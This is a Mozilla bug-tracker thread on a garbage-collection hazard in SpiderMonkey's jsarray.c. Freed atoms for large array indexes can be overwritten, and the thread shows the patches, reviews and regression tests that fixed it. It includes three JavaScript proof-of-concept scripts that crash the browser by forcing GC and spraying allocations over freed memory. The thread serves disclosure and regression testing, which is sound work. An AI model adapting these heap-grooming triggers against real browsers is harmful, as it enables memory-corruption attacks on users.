341956 - GC hazards in jsarray.c: unrooted atoms for large index

Status: VERIFIED FIXED

(Core :: JavaScript Engine, defect)

Description

[Igor Bukanov]

In many places SpiderMonkey code assumes that potential GC calls would not collect atoms. Unfortunately this is not true since the branch callback is allowed to call JS_MaybeGC/JS_ForceGC which would collect unrooted atoms.

The following example demonstrates the problem for the browser/shell:

var N = 0xFFFFFFFF;

var a = [];
a[N - 1] = 1;
a.__defineGetter__(N - 1, function() { 
	var tmp = [];
	tmp[N - 2] = 0;
        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms. 
                var tmp2 = Array(12).join(' ');
	}
	return 10; 
});


// The following always-throw getter is to stop unshift from doing
// 2^32 iterations.
var toStop = "stringToStop";
a[N - 3] = 0;
a.__defineGetter__(N - 3, function() { throw toStop; });

var good = false;

try {
	a.unshift(1);
} catch (e) {
	if (e === toStop)
		good = true;
}

When embedded in a <script> tag, it crashes the browser.

Comment 1

[Igor Bukanov]

Attachment: Fix

In most places the patch just reorders IndexToId and OBJ_GET_PROPERTY calls so a getter would not have a chance to kill the atom behind a large index. 

The exception to this rule is in array_reverse and array_pop methods where the ids when necessary are protected with JS_KEEP_ATOMS call and array_extra where for the MAP case the id is re-build again to simplify the implementation.

The patch is not minimal since I could not to resist and optimized IndexToId to avoid constructing temporary JSString.

Comment 2

[Igor Bukanov]

Initially I thought that a generic way to fix the problem would be to make sure that GC call from the branch callback would always keep atoms. But it is way to easy to prevent collection of atoms at all. So with the patch from comment  1 I took a conservative approach of rooting the atoms in jsarray.c. This is the reason for changing the bug title as the focus here is on just jsarray.c.

Comment 3

[Igor Bukanov]

Here is a test case to show the problem in browser/jsshell with Array.protype.pop method. Without the patch it segfaults:

var N = 0xFFFFFFFF;
var a = [];  
a[N - 1] = 0;

var expected = "GETTER RESULT";

a.__defineGetter__(N - 1, function() {
        delete a[N - 1];
        var tmp = [];
        tmp[N - 2] = 1;

        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms.
                var tmp2 = Array(12).join(' ');
        }
        return expected;
});

var actual = a.pop();

print(actual === expected);

Comment 4

[Igor Bukanov]

Attachment: Fix for 1.8.1, 1.8.0 branches

This a fix version for 1.8.1 branch.

Comment 5

[Igor Bukanov]

I guess it is way to late for 1.8.0.5 approval but I ask in any case. And if this is too late indeed, then I think I have to make comments in the patch less explicit about making an exploit.

Comment 6

[Igor Bukanov]

(In reply to comment #5)
> I guess it is way to late for 1.8.0.5 approval but I ask in any case. And if
> this is too late indeed, then I think I have to make comments in the patch less
> explicit about making an exploit.

Or wait with a trunk commit until 1.8.0.6 

Comment 7

[Igor Bukanov]

Comment on attachment 227518 [details] [diff] [review]
Fix for 1.8.1, 1.8.0 branches

The patch applies to 1.8.0 branch as is.

Comment 8

[Igor Bukanov]

As far as I can see jsarray.c is the only source of this type of hazards in the engine. Other users of js_Atomize* either root the atoms via JS_KEEP_ATOMS or they never call getter/setter or other scriptable code (js_XDRAtom case).

Comment 9

[Brendan Eich [:brendan]]

Comment on attachment 227465 [details] [diff] [review]
Fix

Drive-by, thanks for fixing:

+     * a branch callback call and the latter invokes js_GC without
+     * GC_KEEP_ATOMS flag, GC would collect the atom that we would access later

"the" after "without"

+    if (len > JSVAL_INT_MAX + 1)

To my eyes len >= JSVAL_INT_MAX + 1 is slightly clearer.

+        ok = ok && IndexToId(cx, len - i - 1, &id2) &&
+             PropertyExists(cx, obj, id2, &id2exists) &&
+             (!id2exists || OBJ_GET_PROPERTY(cx, obj, id2, tmproot2));

You clearly want JS2's &&= operator ;-).

Breaking as soon as ok is false would use the same number of instructions but be faster in a failure case.  That doesn't matter, but it is the way most code in SpiderMonkey is written. And retesting ok in "ok = ok && ..." after previous successes is unnecessary in the case we want to optimize (no failures). So I'm still in favor of breaking on first failure.

This repeated comment:
+                 * Construct id2 after we got property's value not to worry
+                 * about getter there triggering GC and collectiong id2.

could be reworded to say "to not worry" -- splitting an infinitive is ok in such cases.  The longer way around is "so as not to worry".

/be

Comment 10

[Igor Bukanov]

(In reply to comment #9)
> And retesting ok in "ok = ok && ..." after previous
> successes is unnecessary in the case we want to optimize (no failures).

I claim a sane compiler would do exactly the same number of tests in
  ok = A && B
and
  ok = A
  ok = ok && B

In the first case the compiler must test for A to avoid calculating B. Similarly in the second case the compiler has to test ok to avoid calculating B. But there is no need to test the results of A in ok = A.

In the initial version of the patch I just replaced "return JS_FALSE" by "goto bad". When I discover later that I missed one replacement (probably because it scrolled beyond the top edge of the window), I gave up and rewrote it as in the patch.

Comment 11

[Brendan Eich [:brendan]]

(In reply to comment #10)
> (In reply to comment #9)
> > And retesting ok in "ok = ok && ..." after previous
> > successes is unnecessary in the case we want to optimize (no failures).
> 
> I claim a sane compiler would do exactly the same number of tests in
>   ok = A && B
> and
>   ok = A
>   ok = ok && B

I know, that was not my point (I adverted to the equivalence of these forms when I wrote "You clearly want JS2's &&= operator ;-)").

My point was that most SpiderMonkey code breaks on failure to avoid retesting ok on success.  Break meaning 'break', 'goto out', 'goto bad', etc.

> In the initial version of the patch I just replaced "return JS_FALSE" by "goto
> bad". When I discover later that I missed one replacement (probably because it
> scrolled beyond the top edge of the window), I gave up and rewrote it as in the
> patch.

Ok.  I have a taller window ;-).

/be

Comment 12

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 227465 [details] [diff] [review]
Fix

>--- .pc/array_atom_roots.diff/js/src/jsarray.c	2006-06-26 
>+                 * Construct id2 after we got property's value not to worry
>+                 * about getter there triggering GC and collectiong id2.

I think I'd prefer s/got/after we've gotten/ in this comment, and please fix the 'collecting' typo, here and where you've copy/pasted the comment. Other than that, this looks good.

Comment 13

[Mike Schroepfer]

Comment on attachment 227518 [details] [diff] [review]
Fix for 1.8.1, 1.8.0 branches

Please address review comments and re-nominate.

Comment 14

[Igor Bukanov]

Attachment: Fix v2

Changes compared with version 1:

1. I reverted to the "break early" style in array_reverse and array_pop to preserve code style.  

2. Comments are shortened but I compensated that by references to the bug.

Comment 15

[Igor Bukanov]

Attachment: Fix v2b

Fixing mistypes in the new comments.

Comment 16

[Igor Bukanov]

Here is a test case for reverse:

var N = 0xFFFFFFFF;
var a = [];
a[N - 1] = 0;

var expected = "GETTER RESULT";

a.__defineGetter__(N - 1, function() {
        delete a[N - 1];
        var tmp = [];
        tmp[N - 2] = 1;

        if (typeof gc == 'function')
                gc();
        for (var i = 0; i != 50000; ++i) {
                var tmp = 1 / 3;
                tmp /= 10;  
        }
        for (var i = 0; i != 1000; ++i) {
                // Make string with 11 characters that would take
                // (11 + 1) * 2 bytes or sizeof(JSAtom) so eventually
                // malloc will ovewrite just freed atoms.
                var tmp2 = Array(12).join(' ');
        }
        return expected;
});

// The following always-throw getter is to stop unshift from doing
// 2^32 iterations.
var toStop = "stringToStop";
a[N - 3] = 0;
a.__defineGetter__(N - 3, function() { throw toStop; });


var good = false;

try {
        a.reverse();
} catch (e) {
        if (e === toStop)
                good = true;
}

print("Good="+good);

Comment 17

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 227583 [details] [diff] [review]
Fix v2b

>+     * When len > JSVAL_INT_MAX + 1 the loop bellow accesses indexes greater

"below".

Comment 18

[Igor Bukanov]

Attachment: Fix v2c

Patch to commit with the last spelling fixes.

Comment 19

[Daniel Veditz [:dveditz]]

Comment on attachment 227711 [details] [diff] [review]
Fix v2c

approved for 1.8.0 branch, a=dveditz for drivers

Comment 20

[Igor Bukanov]

Attachment: Minimal fix

Here is a minimal patch without IndexToId optimization.

Comment 21

[Igor Bukanov]

Note that I go to a vacation on Sanday so effectively I have only Saturday for commits. Thus at best I can land the patch on trunk and redo the version against 1.8.* branch.

Comment 22

[Brendan Eich [:brendan]]

Comment on attachment 227749 [details] [diff] [review]
Minimal fix

+                 * Find id2 after OBJ_GET_PROPERTY call as it can invalidate
+                 * ids for large indexes. See bug 341956.

It would be nice to compress this to a one-line comment.  How about

/* Get id after value to avoid nested GC hazards. */

or something like that?

sr=me anyway.

/be

Comment 23

[Igor Bukanov]

Attachment: Minimal fix (patch to commit with shrinked comments)

The patch with reduced comments as Brendan suggested.

I could commit it but according to http://tinderbox.mozilla.org/showbuilds.cgi?tree=Firefox the tree is red due failing build on Mac. Shall I ignore it?

Comment 24

[Igor Bukanov]

Attachment: Minimal fix - version for 1.8.0 and 1.8.1 branches

This is a version for 1.8.* branches.

Comment 25

[Brendan Eich [:brendan]]

I asked on irc.mozilla.org #developers, since that channel is "sheriff".  preed said "I think 02 just isn't set to build yet or something. It's taking half of the UB builds that 01 does."  The red balsa seamonkey-ports was due to a gcc bug.

The tree remains open, so I think you should check in.

/be

Comment 26

[Igor Bukanov]

I committed the patch from commnet 24 to the trunk.

Comment 27

[Igor Bukanov]

Please note that until 2006-07-25 I would not be able to commit anything - vacation time.

Comment 28

[Daniel Veditz [:dveditz]]

Comment on attachment 227820 [details] [diff] [review]
Minimal fix - version for 1.8.0 and 1.8.1 branches

a=dveditz for 1.8.0 branch

Comment 29

[Blake Kaplan (:mrbkap) (inactive)]

Fix chcked into the 1.8.0 branch.

Comment 30

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/GC/regress-341956.js

Comment 31

[Igor Bukanov]

Comment on attachment 228293 [details]
js1_5/GC/regress-341956.js

Note that the test can check that good === true for booletproof checking. Plus it just covers unshift case, but what about the examples for reverse and pop?

Comment 32

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/GC/regress-341956-01.js

Sorry, I missed that.

Comment 33

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/GC/regress-341956-02.js

Comment 34

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/GC/regress-341956-03.js

Comment 35

[Bob Clary [:bc] (inactive)]

Tested with the original test version. 
verified fixed 1.8.0.5, 1.9a1 windows/macppc/linux 20060706 builds.

Not Fixed in 1.8.1 20060706. Crashes shell windows, browser windows/macppc/linux.

confirmed that windows browser crashes on all of the new tests 01, 02, and 03 in opt but not debug builds and windows shell crashes on all the new tests for opt and debug.

Comment 36

[Bob Clary [:bc] (inactive)]

I can't reproduce my crashes on 1.8.1 windows xp in the shell or browser with or without dep enabled using a 2006070707 build. After the qa farm comes back on line tomorrow, I'll rebuild and retest.

Comment 37

[Daniel Veditz [:dveditz]]

Not sure if this problem applies to the aviary/1.7 branch or not.

Comment 38

[Igor Bukanov]

(In reply to comment #37)
> Not sure if this problem applies to the aviary/1.7 branch or not.
> 

Yes, it does.

Comment 39

[Bob Clary [:bc] (inactive)]

no longer crash in 1.8.1
verified fixed 1.8.1 win/mac(tel|ppc)/linux

Comment 40

[Alexander Sack]

Attachment: 1.0.x backport

maybe incomplete .. though I hope not.

Comment 41

[Bob Clary [:bc] (inactive)]

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-01.js,v  <--  regress-341956-01.js

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-02.js,v  <--  regress-341956-02.js

/cvsroot/mozilla/js/tests/js1_5/extensions/regress-341956-03.js,v  <--  regress-341956-03.js